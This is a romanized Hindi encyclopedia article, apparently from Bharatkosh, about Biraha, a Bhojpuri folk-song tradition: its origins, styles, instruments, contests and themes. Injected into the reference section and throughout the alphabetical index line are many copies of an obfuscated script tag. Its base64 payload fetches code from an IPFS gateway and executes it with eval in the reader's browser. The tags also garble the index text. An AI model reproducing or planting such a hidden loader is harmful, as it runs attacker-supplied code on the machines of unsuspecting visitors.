बिरहा

biraha ahiroan ka jatiy lokagit hai. lokagitoan mean isaka sthan usi tarah mahattvapoorn hai, jis tarah sanskrit mean 'dvipadi', prakrit mean 'gatha' aur hindi mean 'baravai' ka hai. yah do k diyoan ki rachana hai. jab ek paksh apani bat kah leta hai to doosara paksh usi chhand mean uttar deta hai. matraoan ki sankhya isamean simit nahian hotian. gane vale ki dhunakar matraean ghat-badh jati haian.

utpatti

is lok sangit ki utpatti ke sootr unnisavian shatabdi ke prarambh mean milate haian. british shasanakal mean gramin kshetroan se palayan kar mahanagaroan mean majadoori karane ki pravritti badh gayi thi. aise shramikoan ko roji-roti ke lie lambi avadhi tak apane ghar-parivar se door rahana p data tha. din bhar ke kathor shram ke bad ratri mean chhote-chhote samooh mean yah log isi lok-vidha ke gitoan ka ooanche svaroan mean gayan kiya karate the. lagabhag 55 varsh pahale varanasi ke thatheri bazar, chaukhambha adi vyavasayik kshetroan mean shramikoan ko biraha gayan karate hue dekha-suna jata tha.

prachalit roop

prarambh mean biraha shram-mukt karane vale lokagit ke roop mean hi prachalit tha. biraha gayan ke aj do prakar milate haian^[1]-

pahale prakar ko "kh di biraha" kaha jata hai. gayaki ke is prakar mean vadyoan ki sangati nahian hoti, parantu gayak ki lay ekadam pakki hoti hai. pahale mukhy gayak tar saptak ke svaroan mean git ka mukh da arambh karata hai aur phir gayak dal usamean sammilit ho jata hai.
biraha gayan ka doosara roop manchiy hai.

"n biraha ki kheti karai, bhaiya, n biraha pharai dar. biraha basalai hiradaya mean ho, ram, jab tum gaile tab gav."

'biraha' ki utpatti ke sambandh mean bhojapuri biraha ki ukt panktiyaan drashtavy haian. yah mukhy roop se prem aur virah ki upayukt vyanjana ke lie sarthak lok chhand hai. vipralambh shrriangar ko adhikaansh biraha mean sthan prapt hai. kahate haian, isaka janm bhojapur pradesh mean hua. g dariye, pasi, dhobi, ahir aur any charavah jatiyaan kabhi-kabhi ho d badakar ratabhar biraha gati haian.^[2]

vady

biraha gayan ke manchiy roop mean vadyoan ki sangati hoti hai. pramukh roop se dholak, haramoniyam aur karatal ki sangati hoti hai. karatal gulli ke akar mean lagabhag 8 -9 ianch lambe stil ke do tuk de hote haian, jise gayak apani donoan hatheliyoan ke bich rakh kar apas mean takarate hue bajate haian. biraha lokagit ka filmoan mean prayah nahian ke barabar upayog hua hai. ashcharyajanak roop se 1955 ki film "munimaji" mean biraha ka atyant maulik roop mean prayog kiya gaya hai. devanand aur nalini jayavant abhinit is film ke sangitakar sachin dev barman haian tatha hemant kumar aur sathiyoan ke svaroan mean is biraha ka gayan kiya gaya hai. is biraha mean bhi shiv vivah ka hi prasang hai. git ki antim panktiyoan mean do nam liye ge hai- pahale "barasati" aur phir "dukhaharan" . pahala nam akha de ke guru ka aur doosara nam gayak ka hai. yah git barasati yadav akha de ka hai aur ise kisi dukhaharan namak gayak ne gaya tha.

biraha dangal

kalantar mean lok-ranjan-git ke roop mean biraha ka vikas hua. parvoan-tyoharoan athava maangalik avasaroan par biraha gayan ki parampara rahi hai. kisi vishesh parv par mandir ke parisaroan mean biraha dangal ka prachalan bhi hai. biraha ke dangali svaroop mean gayakoan ki do toliyaan hoti hai aur ve bari-bari se biraha gitoan ka gayan karate haian. aisi prastutiyoan mean gayak dal paraspar saval-javab aur ek-doosare par kataksh bhi karate haian. is prakar ke gayan mean ashusarjit lok-gitakar ko pramukh sthan milata hai. biraha ke akha de (guru gharana) bhi hote hai. vibhinn akha doan ke bich svasth pratispardha ka bhav rahata hai. lagabhag paanch dashak pahale ek aise hi akha de ke guru pattoo saradar bhi the. vah biraha-gitoan ke anoothe rachanakar aur gayak the. unake akha de ke saik doan shishy the, jinhean samaj mean lok gayak ke roop mean bharapoor samman prapt tha. guru pattoo saradar nirakshar the.^[1]

gayan ke vishay

biraha gayan mean pahale devi-devataoan ki stuti ki jati hai, tatpashchath kautumbik jivan ke vibhinn sambandhoan ka svabhavik varnan, gram jivan ke chitr, prem aur virah ke komal prasang, naihar aur sasural ki minamekh, nayikaoan ki pranay umangean, anabyahi gramin nari ki vyatha, sas-bahoo ke jhag de, nanad-bhavaj ki chuhal adi vishayoan ke varnan mukhar hote haian. yadyapi viraha bhojapur ki dharati mean upaja hai, tathapi aj ke lok-jivan mean biraha ne samast krishak jatiyoan ke gitoan mean apana sthan bana liya hai. gate samay uthane vali avaz ki ooanchaee se door-door tak van-praantar mean hriday ki tis gooanjane lagati hai.

prasang

biraha gitoan ke prasang adhikatar ramayan, mahabharat aur pauranik kathaoan par adharit hote haian. kabhi-kabhi lokagitakar samayik vishayoan par bhi git rachate haian. guru pattoo saradar ne 1965 ke bharat-pak yuddh mean bharat ki vijay-gatha ko in panktiyoan mean vyakt kiya tha^[1]-

"chamake lalabahadur ramanagariya vala, ayoob ke muh ko kala kar diya...."

virah-vyatha ki abhivyakti

bharatiy lok sangit mean anek aisi shailiyaan prachalit haian, jinamean nayak se bichh d jane ya nayak se lambe samay tak door hone ki sthiti mean virah-vyatha se vyakul nayika lokagitoan ke madhyam se svayan ko abhivyakt karati hai. desh ke prayah pratyek kshetr mean nayika ki virah-vyatha ka prakatikaran karate git bahutere haian, parantu virah-pi dit nayak ki abhivyakti dene vale lokagit bahut kam milate haian. uttar pradesh ke poorvaanchal kshetr mean lok-sangit ki yah vidha atyant lokapriy hai, jise 'biraha' nam se pahachana jata hai.

kaandara nrity buandelakhand ka prasiddh nrity hai. is nrity ke sath gaya jane vala ek biraha git is prakar hai-

"saune hoy to pairiyo, natar nage bhalai doee kan.
chhita hoy to vyaiyo, natar kvaanre shri bhagavan.
ranipura mean mridang bajo re, aur moo mean baji mauchang.
nachat avat purani moo ki, barethin ooke sasoo gore aang.
are bhale ki ani se todarab palera, bhale ki ani se.
ghar niya riya rav joo, gharai niyaan kishori maharaj.
ghare to niyaan ranadoola, a di karat taravar. bhale ki ani. ....."

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 lok git shaili biraha (hindi) avaz. abhigaman tithi: 05 joon, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ hindi sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 433 |

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[aa-1] 1.0 ^1.1 ^1.2 lok git shaili biraha (hindi) avaz. abhigaman tithi: 05 joon, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] sahity kosh, bhag 1 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 433 |

[1]

[2]